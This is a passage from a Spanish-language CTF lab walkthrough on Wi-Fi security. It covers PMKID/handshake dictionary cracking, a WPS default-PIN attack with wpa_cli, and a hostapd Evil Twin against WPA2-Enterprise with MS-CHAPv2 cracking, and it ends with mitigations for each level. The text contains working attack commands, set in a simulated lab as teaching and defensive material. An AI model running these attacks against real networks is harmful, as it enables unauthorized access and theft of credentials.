sudo aircrack-ng -w /opt/wifi-ctf/wordlists/debiles.txt recon-06.cap

Flag 8 — Handshake capturado pasivamente (PMKID) + diccionario

Se restablece el laboratorio con "cleanup.sh" y se pone en modo monitor la primera interfaz atacante.

sudo /opt/wifi-ctf/cleanup.sh
(esperar a que termine)
sudo /opt/wifi-ctf/modo.sh $ATTACKER1_IFACE monitor 11
ip a | tail -n 4

sudo /opt/wifi-ctf/cleanup.sh
(esperar a que termine)
sudo /opt/wifi-ctf/modo.sh $ATTACKER1_IFACE monitor 11
ip a | tail -n 4

A continuación, se establece esta interfaz para que escuche el tráfico de red disponible a través del canal 11.

sudo airodump-ng $ATTACKER1_IFACE -w recon --channel 11

sudo airodump-ng $ATTACKER1_IFACE -w recon --channel 11

Tras esperar un poco, se obtiene información asociada a un punto de acceso (Access Point o AP) en este caso es el denominado "CTF-Router-Casa", y que parece no disponer de un cliente asociado. Tras esperar un poco, se puede comprobar que se conecta uno.

BSSID: 02:00:00:00:0A:00
SSID: CTF-Router-Casa
Cliente asociado: (ninguno, esperar que se asocie el cliente 02:00:00:00:07:00 automáticamente)

El procedimiento es el mismo que en el ejercicio anterior (capturar tráfico de red + aircrack-ng con diccionario), pero esta vez se aprovecha el PMKID, que aparece al inicio del 4-way handshake (en el mensaje 1, dentro del RSN IE), el cual sigue a una asociación con el punto de acceso siempre que este lo anuncie. El PMKID permite un ataque clientless: basta esa única trama para verificar offline la contraseña candidata del diccionario. A continuación se deja una referencia donde se explica esto en detalle.

Referencia (kaspersky.es, Hackeo de Wi-Fi mediante interceptación de PMKID): https://www.kaspersky.es/blog/wi-fi-pmkid-attack/29808/

Referencia (kaspersky.es, Hackeo de Wi-Fi mediante interceptación de PMKID): https://www.kaspersky.es/blog/wi-fi-pmkid-attack/29808/

El PMKID (Pairwise Master Key Identifier) es un identificador de 128 bits que se calcula aplicando HMAC-SHA1–128 sobre la PMK, junto con la cadena "PMK Name" y las direcciones MAC del punto de acceso y del cliente. Sirve para identificar de forma inequívoca una PMKSA (sesión de PMK) cacheada, de modo que ambas partes puedan reutilizarla sin recalcularla. El cliente anuncia los PMKID que tiene en caché en el RSN IE de la petición de reasociación, y el punto de acceso responde incluyendo en el primer mensaje del handshake (EAPOL-Key M1) el PMKID de la PMKSA seleccionada, lo que permite a ambas partes acordar qué PMK reutilizar y agilizar así el roaming. También puede aparecer en tramas de gestión, sobre todo en las peticiones de reasociación.

El ataque PMKID aprovecha que este valor se envía nada más iniciarse la conexión, por lo que no hace falta capturar el handshake completo ni que haya clientes conectados a la red. Con el PMKID, la MAC del punto de acceso, la MAC del cliente y el SSID (que sirve como sal), el atacante ya dispone de todo lo necesario para probar contraseñas offline.

Herramientas como "hcxdumptool" y "hcxpcapngtool" gestionan el PMKID de la captura si está disponible, en lugar de exigir un handshake completo: extrayéndo la información de una captura de tráfico y generando un hash que hace posible recuperar la clave mediante cracking offline posterior sin necesidad de desautenticar a ningún cliente. Su principal ventaja frente al ataque por handshake es que resulta mucho más fácil de capturar, ya que basta con provocar una asociación.

En este caso, se hace uso de aircrack-ng contra la captura de tráfico. La clave se recupera casi instantáneamente ya que se encuentra dentro de la wordlist proporcionada. Además, esta corresponde con la flag de este ejercicio.

Sin embargo, en este caso aircrack-ng utiliza el handshake capturado, ya que detecta este en la captura.

sudo aircrack-ng -w /opt/wifi-ctf/wordlists/debiles.txt recon-08.cap

sudo aircrack-ng -w /opt/wifi-ctf/wordlists/debiles.txt recon-08.cap

Tras analizar el escenario, el punto de acceso no está utilizando PMKID. Aunque podría pensarse que para probar el PMKID exclusivamente hace falta un entorno con hardware físico, lo cierto es que "hcxdumptool" soporta oficialmente el módulo mac80211_hwsim.

La razón de que solo se obtenga un handshake es que el PMKID lo incluye el AP en el primer mensaje del handshake, y en este laboratorio el AP no lo está emitiendo. Esto es coherente con su funcionamiento: hostapd solo incluye el PMKID cuando hay PMKSA cacheada. Si el AP no emite el PMKID, no se capturará.

Tampoco "hcxpcapngtool" supone una limitación: extrae el PMKID en cuanto está presente en la captura. Se puede comprobar que, tras esperar, únicamente se captura y transforma en hash una trama correspondiente a un handshake (WPA*02*), sin línea de PMKID (WPA*01*), lo que evidencia la conclusión.

Referencia (Hashcat, modo 22000 para PMKID/EAPOL): https://hashcat.net/wiki/doku.php?id=cracking_wpawpa2

Referencia (Hashcat, modo 22000 para PMKID/EAPOL): https://hashcat.net/wiki/doku.php?id=cracking_wpawpa2

A continuación se muestra la ejecución de estas herramientas para validar que únicamente se obtiene el hash equivalente al handshake capturado, el cual se ha utilizado para obtener la flag de este ejercicio.

sudo hcxdumptool -i $ATTACKER1_IFACE -w nivel8.pcapng --rds=1

(se deja a la espera y entre otras cosas se prueba a hacer "deauth" de cliente o asociación nueva con segunda interfaz atacante para forzar la aparición de un PMKID)

hcxpcapngtool -o hash.22000 nivel8.pcapng

cat hash.22000 | wc -l
...
1

cat hash.22000
...
WPA*02*...

PMKID -> debería empezar por WPA*01*...

sudo hcxdumptool -i $ATTACKER1_IFACE -w nivel8.pcapng --rds=1

(se deja a la espera y entre otras cosas se prueba a hacer "deauth" de cliente o asociación nueva con segunda interfaz atacante para forzar la aparición de un PMKID)

hcxpcapngtool -o hash.22000 nivel8.pcapng

cat hash.22000 | wc -l
...
1

cat hash.22000
...
WPA*02*...

PMKID -> debería empezar por WPA*01*...

Para finalizar, se inspecciona el tráfico capturado y se termina de comprobar que no existe ninguna trama que incluya el PMKID esperado.

capinfos nivel8.pcapng | grep -i packets
tshark -r nivel8.pcapng -Y "wlan.rsn.ie.pmkid || wlan.pmkid.akms" -T fields -e frame.number -e wlan.pmkid.akms -e wlan.rsn.ie.pmkid
tshark -r nivel8.pcapng -Y "wlan.pmkid.akms" -T fields -e wlan.pmkid.akms | wc -l
tshark -r nivel8.pcapng -Y "wlan.rsn.ie.pmkid" -T fields -e wlan.pmkid.akms | wc -l

capinfos nivel8.pcapng | grep -i packets
tshark -r nivel8.pcapng -Y "wlan.rsn.ie.pmkid || wlan.pmkid.akms" -T fields -e frame.number -e wlan.pmkid.akms -e wlan.rsn.ie.pmkid
tshark -r nivel8.pcapng -Y "wlan.pmkid.akms" -T fields -e wlan.pmkid.akms | wc -l
tshark -r nivel8.pcapng -Y "wlan.rsn.ie.pmkid" -T fields -e wlan.pmkid.akms | wc -l

Flag 9 — WPS PIN por defecto (12345670) → PSK

Se restablece el laboratorio con "cleanup.sh" y se pone en modo monitor la primera interfaz atacante.

sudo /opt/wifi-ctf/cleanup.sh
(esperar a que termine)
sudo /opt/wifi-ctf/modo.sh $ATTACKER1_IFACE monitor 6
ip a | tail -n 4

sudo /opt/wifi-ctf/cleanup.sh
(esperar a que termine)
sudo /opt/wifi-ctf/modo.sh $ATTACKER1_IFACE monitor 6
ip a | tail -n 4

A continuación, se establece esta interfaz para que escuche el tráfico de red disponible a través del canal 6.

sudo airodump-ng $ATTACKER1_IFACE -w recon --channel 6

sudo airodump-ng $ATTACKER1_IFACE -w recon --channel 6

Tras esperar un poco, se obtiene información asociada a un punto de acceso (Access Point o AP) en este caso es el denominado "CTF-Nivel9-WPS", y que parece no disponer de un cliente asociado.

BSSID: 02:00:00:00:0B:00
SSID: CTF-Nivel9-WPS
Cliente asociado: (ninguno)

En este escenario parece disponer de una red con WPS habilitado.

El WPS o Wi-Fi Protected Setup, especificado como Wi-Fi Simple Configuration por la Wi-Fi Alliance, es un mecanismo diseñado para simplificar la configuración de redes inalámbricas mediante el intercambio automatizado de credenciales entre un registrador (Registrar) y un dispositivo a configurar (Enrollee).

El método basado en PIN utiliza un código numérico de 8 dígitos (donde el último dígito funciona como checksum de los 7 anteriores), que teóricamente ofrecería 10⁷ combinaciones; sin embargo, el protocolo verifica el PIN en dos etapas separadas: primero los primeros 4 dígitos y luego los últimos 3 dígitos, reduciendo drásticamente el espacio de búsqueda efectivo a aproximadamente 10⁴ + 10³ = 11.000 intentos.

La vulnerabilidad del PIN de WPS, documentada en VU#723755 por el US-CERT y descubierta por Stefan Viehböck en 2011, explota esta división del proceso de verificación y la ineficiencia (o ausencia) de los mecanismos de bloqueo tras intentos fallidos. Un atacante puede realizar un ataque de fuerza bruta contra el PIN en cuestión de horas; una vez obtenido el PIN válido, el protocolo WPS revela la PSK (Pre-Shared Key) o la contraseña WPA/WPA2 almacenada en el punto de acceso, comprometiendo la seguridad de la red independientemente de la fortaleza de la contraseña original.

Referencia (VU#723755): https://www.kb.cert.org/vuls/id/723755
Referencia (CISA): https://www.cisa.gov/news-events/alerts/2012/01/06/wi-fi-protected-setup-wps-vulnerable-brute-force-attack
Referencia (Stefan Viehböck): https://sviehb.wordpress.com/2011/12/27/wi-fi-protected-setup-pin-brute-force-vulnerability/
Referencia (HackTricks): https://hacktricks.wiki/en/generic-methodologies-and-resources/pentesting-wifi/wps.html#discovery

Referencia (VU#723755): https://www.kb.cert.org/vuls/id/723755
Referencia (CISA): https://www.cisa.gov/news-events/alerts/2012/01/06/wi-fi-protected-setup-wps-vulnerable-brute-force-attack
Referencia (Stefan Viehböck): https://sviehb.wordpress.com/2011/12/27/wi-fi-protected-setup-pin-brute-force-vulnerability/
Referencia (HackTricks): https://hacktricks.wiki/en/generic-methodologies-and-resources/pentesting-wifi/wps.html#discovery

A continuación, se utiliza la herramienta wash para comprobar que dispone de WPS y en este caso Lck se encuentra con valor "No" lo que significa que no tiene habilitado mecanismos de bloqueo contra fuerza bruta. Esto permite utilizar herramientas como "reaver" para obtener el PIN mediante un ataque automatizado de varios intentos consecutivos.

sudo wash -i $ATTACKER1_IFACE -c 6

sudo wash -i $ATTACKER1_IFACE -c 6

Sin embargo, al probar con "reaver", el resultado de cada petición termina en timeout, haciendo que no se termine detectando el PIN asociado.

sudo reaver -i $ATTACKER1_IFACE -b 02:00:00:00:0B:00 -vv

sudo reaver -i $ATTACKER1_IFACE -b 02:00:00:00:0B:00 -vv

Como alternativa, se siguen las instrucciones utilizando la segunda interfaz en modo gestionado y manteniendo la otra a la escucha.

A continuación, se crea un archivo de configuración y se realiza la conexión a la red. En este caso hay que realizar una solicitud para que utilice un PIN para registrarse.

De esta forma, se intenta establecer conexión WPA/WPA2 con el AP enviando el PIN "12345670" para autenticarse y obtener la contraseña de la red (PSK) automáticamente.

Se prueba con ese PIN ya que ha sido documentado como valor por defecto en **ciertos modelos de **routers y podría funcionar (además, el ejercicio lo propone).

sudo wpa_supplicant -B -i $ATTACKER2_IFACE -C /tmp/nivel9
sudo wpa_cli -p /tmp/nivel9 -i $ATTACKER2_IFACE wps_reg 02:00:00:00:0B:00 12345670

sudo wpa_supplicant -B -i $ATTACKER2_IFACE -C /tmp/nivel9
sudo wpa_cli -p /tmp/nivel9 -i $ATTACKER2_IFACE wps_reg 02:00:00:00:0B:00 12345670

Tras esperar un poco (unos 30 segundos), se puede comprobar que la asociación se ha realizado correctamente y se puede consultar el perfil de red existente. Sin embargo, este no es posible guardarse/exportarse con la configuración actual.

sudo wpa_cli -p /tmp/nivel9 -i $ATTACKER2_IFACE status
sudo wpa_cli -p /tmp/nivel9 -i $ATTACKER2_IFACE list_networks

sudo wpa_cli -p /tmp/nivel9 -i $ATTACKER2_IFACE status
sudo wpa_cli -p /tmp/nivel9 -i $ATTACKER2_IFACE list_networks

Además se puede comprobar que la asociación ha sido realizada correctamente, ya que la primera interfaz atacante ha capturado el handshake al estar a la escucha de tráfico.

Sin embargo, esto no es suficiente para obtener la contraseña, porque como se muestra más adelante, el perfil de red oculta por defecto la contraseña para protegerla.

Por ello, se parte nuevamente de la segunda interfaz atacante, y se establece un archivo de configuración específico para el cual se utilizará WPA supplicant, donde se indica un cambio en la configuración de seguridad para poder guardar/exportar perfiles de red almacenados.

Se aprovecha esto para volver a realizar la operación de enlace y una vez realizado, se puede comprobar que esta vez si es posible extraer la configuración de la red.

sudo rm -rf /tmp/nivel9

mkdir -p /tmp/nivel9
cat > /tmp/nivel9/wpa_supplicant.conf << 'EOF'
ctrl_interface=/tmp/nivel9
update_config=1
EOF

sudo pkill -f "wpa_supplicant.*$ATTACKER2_IFACE"

sudo wpa_supplicant -B -i $ATTACKER2_IFACE -c /tmp/nivel9/wpa_supplicant.conf -P /tmp/nivel9/wpa.pid

ls -la /tmp/nivel9/

sudo wpa_cli -p /tmp/nivel9 -i $ATTACKER2_IFACE wps_reg 02:00:00:00:0B:00 12345670

(esperar unos segundos a que la asociación se realice)

sudo wpa_cli -p /tmp/nivel9 -i $ATTACKER2_IFACE status

sudo wpa_cli -p /tmp/nivel9 -i $ATTACKER2_IFACE save_config

sudo rm -rf /tmp/nivel9

mkdir -p /tmp/nivel9
cat > /tmp/nivel9/wpa_supplicant.conf << 'EOF'
ctrl_interface=/tmp/nivel9
update_config=1
EOF

sudo pkill -f "wpa_supplicant.*$ATTACKER2_IFACE"

sudo wpa_supplicant -B -i $ATTACKER2_IFACE -c /tmp/nivel9/wpa_supplicant.conf -P /tmp/nivel9/wpa.pid

ls -la /tmp/nivel9/

sudo wpa_cli -p /tmp/nivel9 -i $ATTACKER2_IFACE wps_reg 02:00:00:00:0B:00 12345670

(esperar unos segundos a que la asociación se realice)

sudo wpa_cli -p /tmp/nivel9 -i $ATTACKER2_IFACE status

sudo wpa_cli -p /tmp/nivel9 -i $ATTACKER2_IFACE save_config

Como se ha mencionado antes, se puede comprobar que al consultar la configuración de la red la contraseña no es visible. Sin embargo, la configuración extraída tiene todo en texto plano, incluido la contraseña, la cual corresponde a la flag de este ejercicio.

sudo wpa_cli -p /tmp/nivel9 -i $ATTACKER2_IFACE list_networks
sudo wpa_cli -p /tmp/nivel9 -i $ATTACKER2_IFACE get_network 0 ssid
sudo wpa_cli -p /tmp/nivel9 -i $ATTACKER2_IFACE get_network 0 psk

cat /tmp/nivel9/wpa_supplicant.conf

sudo wpa_cli -p /tmp/nivel9 -i $ATTACKER2_IFACE list_networks
sudo wpa_cli -p /tmp/nivel9 -i $ATTACKER2_IFACE get_network 0 ssid
sudo wpa_cli -p /tmp/nivel9 -i $ATTACKER2_IFACE get_network 0 psk

cat /tmp/nivel9/wpa_supplicant.conf

Flag 10 — Jefe final: Evil Twin WPA2-Enterprise + hashcat -m 5500

Se restablece el laboratorio con "cleanup.sh" y se pone en modo monitor la primera interfaz atacante.

sudo /opt/wifi-ctf/cleanup.sh
(esperar a que termine)
sudo /opt/wifi-ctf/modo.sh $ATTACKER1_IFACE monitor 1
ip a | tail -n 4

sudo /opt/wifi-ctf/cleanup.sh
(esperar a que termine)
sudo /opt/wifi-ctf/modo.sh $ATTACKER1_IFACE monitor 1
ip a | tail -n 4

A continuación, se establece esta interfaz para que escuche el tráfico de red disponible a través del canal 1.

sudo airodump-ng $ATTACKER1_IFACE -w recon --channel 1 --band abg

sudo airodump-ng $ATTACKER1_IFACE -w recon --channel 1 --band abg

Tras esperar un poco, no se obtiene información asociada a ningún punto de acceso (Access Point o AP) nuevo hasta ahora (solo sale el del primer ejercicio).

BSSID: (desconocido)
SSID: CTF-Empresa-Corp (descubierto mediante archivos de configuración)
Cliente asociado: (ninguno, se espera conexión del cliente 02:00:00:00:0D:00)

En este escenario se espera que un cliente se conecte a una red de tipo WPA2-Enterprise.

A diferencia de las redes domésticas que usan una única contraseña para todos, WPA2-Enterprise asigna credenciales individuales a cada usuario o dispositivo mediante el protocolo 802.1X, verificando la identidad contra un servidor central antes de permitir el acceso. Este sistema elimina los riesgos de la contraseña compartida y permite auditoría completa de conexiones, siendo el estándar para entornos corporativos y educativos.

Sin embargo, esta arquitectura introduce vectores de ataque específicos como el Evil Twin, donde un atacante despliega un punto de acceso fraudulento que imita la red legítima para interceptar el proceso de autenticación. Si los dispositivos no validan correctamente los certificados del servidor, el atacante puede capturar credenciales o hashes de autenticación, comprometiendo la seguridad de la red independientemente de la fortaleza de las contraseñas originales.

Para reproducir esto, primero se mantiene la primera interfaz atacante a la escucha de tráfico y se establece el Evil Twin de la siguiente forma.

Se comprueba que se dispone de una plantilla de configuración, con ya potenciales usuarios y certificados configurados.

Nota importante: En realidad todo esto habría que averiguarlo y generarlo por cuenta propia, pero para este ejercicio lo dan hecho para que no se complique.

ls -al /opt/wifi-ctf/attacker-tools
cat /opt/wifi-ctf/attacker-tools/evil-twin-l10.conf.example
cat /opt/wifi-ctf/attacker-tools/eap_users.example
ls -al /etc/wifi-ctf/certs

ls -al /opt/wifi-ctf/attacker-tools
cat /opt/wifi-ctf/attacker-tools/evil-twin-l10.conf.example
cat /opt/wifi-ctf/attacker-tools/eap_users.example
ls -al /etc/wifi-ctf/certs

Se realiza una copia del archivo de configuración y se adapta la interfaz correspondiente a la segunda interfaz de atacante (la primera sigue a la escucha de tráfico).

cp /opt/wifi-ctf/attacker-tools/evil-twin-l10.conf.example evil-twin-l10.conf
vim evil-twin-l10.conf
cat evil-twin-l10.conf

cp /opt/wifi-ctf/attacker-tools/evil-twin-l10.conf.example evil-twin-l10.conf
vim evil-twin-l10.conf
cat evil-twin-l10.conf

En este punto utilizando la herramienta "hostapd" se incia el Evil Twin.

sudo hostapd -dd evil-twin-l10.conf

sudo hostapd -dd evil-twin-l10.conf

Se puede comprobar en la interfaz a la escucha de tráfico que el Evil Twin ahora esta presente y, tras esperar un poco, el cliente se termina conectando a este.

Volviendo al log que genera el Evil Twin, se termina detectando que el usuario "empleado" intenta conectarse y el propio Evil Twin captura el desafío-respuesta MS-CHAPv2 de esta conexión, facilitando el comando concreto para crackearlo y obtener su contraseña.

Se abre una nueva sesión SSH para no parar nada en este caso. Sin embargo, a la hora de ejecutarlo, la herramienta parece responder con un error de formato.

asleap -C <RECORTADO> -R <RECORTADO> -W /opt/wifi-ctf/wordlists/debiles.txt

asleap -C <RECORTADO> -R <RECORTADO> -W /opt/wifi-ctf/wordlists/debiles.txt

En este caso se formatea el hash y se prueba con John The Ripper (también valdría con Hashcat, pero en este caso se hace así). Tras probar, parece que devuelve la contraseña que corresponde con la flag de este ejercicio.

echo 'empleado::::<RECORTADO_RESPONSE_SIN_DOS_PUNTOS>:<RECORTADO_CHALLENGE_SIN_DOS_PUNTOS>' > empleado.hash
john --wordlist="/opt/wifi-ctf/wordlists/debiles.txt" empleado.hash

echo 'empleado::::<RECORTADO_RESPONSE_SIN_DOS_PUNTOS>:<RECORTADO_CHALLENGE_SIN_DOS_PUNTOS>' > empleado.hash
john --wordlist="/opt/wifi-ctf/wordlists/debiles.txt" empleado.hash

BONUS: Flags perdidas y reto final

Backup de flags

En el caso de que te falte alguna flag o no sepas como realizar algún ataque, en el directorio de "root" se encuentra toda la información relativa a los ataques vistos en esta guía, incluyendo las flags asociadas a este laboratorio.

Nota importante: Recuerda que esto no va de "copiar flags" sino de entender lo que se hace y por qué se hace ;)

sudo ls -al /root/wifi-ctf-hwsim
sudo cat /root/wifi-ctf-hwsim/README.md

sudo ls -al /root/wifi-ctf-hwsim
sudo cat /root/wifi-ctf-hwsim/README.md

Reto final propuesto

Resolver laboratorios esta bien y se aprende mucho, pero te reto a lo siguiente:

Intenta resolver este laboratorio tan interesante al completo sin recurrir a esta guía ni la que ofrece el autor en la propia máquina objetivo.
Comparte tu resolución completa con la comunidad igual que he hecho yo en la plataforma de THL.
No te olvides de incluir las mitigaciones que crees que se tendría que aplicar para cada nivel.

De esta forma no solo terminas un laboratorio, sino que además validas si has entendido todo lo que se pretende enseñar. Suerte y ánimo!!! ;)

Mitigaciones a aplicar por ejercicio

FLAG 1: No introducir información sensible en campos de las tramas Wi-Fi que potencialmente puedan ser interceptadas por dispositivos cercanos.
FLAG 2: Evitar ocultar el SSID de una red como medida de seguridad. La "seguridad por oscuridad" no es verdadera seguridad.
FLAG 3: Evitar usar filtrado MAC como única medida de seguridad.
FLAG 4: Los portales cautivos deben complementarse con medidas de seguridad a nivel de red y, cuando sea necesario, con mecanismos de identificación, autenticación y registro de los usuarios.
FLAG 5: Evitar usar el cifrado WEP, ya que hoy en día esta totalmente roto. Configurar en su lugar redes con cifrado WPA2 o WPA3 (preferiblemente este último).
FLAG 6 y 7: En el caso de usar el cifrado WPA2 asegurarse de asociar una clave de cifrado muy larga con cierta aleatoriedad, idealmente ir rotándola cada cierto tiempo. Si se configura WPA3-SAE (Simultaneous Authentication of Equals) sin modo transición con WPA2, este evita el crackeo offline del handshake mediante el intercambio de claves de Diffie-Hellman con prueba de conocimiento de contraseña.
FLAG 8: Misma aproximación que en FLAG 6 y 7.
FLAG 9: Desactivar el WPS si no se utiliza. En el caso de utilizarse, cambiar el PIN por defecto que ofrece el fabricante y habilitar el bloqueo tras varios intentos fallidos.
FLAG 10: Configurar autenticación 802.1X con validación estricta de certificados, haciendo que el cliente valide el certificado del servidor de autenticación (RADIUS). Esto dificulta los ataques Evil Twin al impedir que el cliente confíe en un servidor de autenticación no legítimo. Para máxima seguridad, utilizar EAP-TLS con certificados de cliente, aunque métodos como PEAP o TTLS con validación de certificado de servidor y credenciales de usuario seguras también son aceptables si se configura correctamente la validación del certificado.

¿Te gustó esta publicación? Sígueme y descubre más en mi blog principal: https://pyth0nk1d.medium.com

Contents

ATENCIÓN

Resumen de contenido sobre este laboratorio

Instrucciones a tener en cuenta y configuración previa necesaria

Instrucciones

Configuración

Resolución del laboratorio

Flag 1 — Vendor element del beacon visible en modo monitor

Flag 2 — SSID oculto revelado tras deauth

Flag 3 — Filtrado por MAC evadido con spoofing

Flag 4— Bypass del portal cautivo

Flag 5 — WEP roto con aircrack-ng (ataque PTW)

Flag 6 — Deauth con aireplay-ng (evidencia para el instructor)

Flag 7 — Handshake WPA2-PSK forzado + diccionario

Flag 8 — Handshake capturado pasivamente (PMKID) + diccionario

Flag 9 — WPS PIN por defecto (12345670) → PSK

Flag 10 — Jefe final: Evil Twin WPA2-Enterprise + hashcat -m 5500

BONUS: Flags perdidas y reto final

Backup de flags

Reto final propuesto

Mitigaciones a aplicar por ejercicio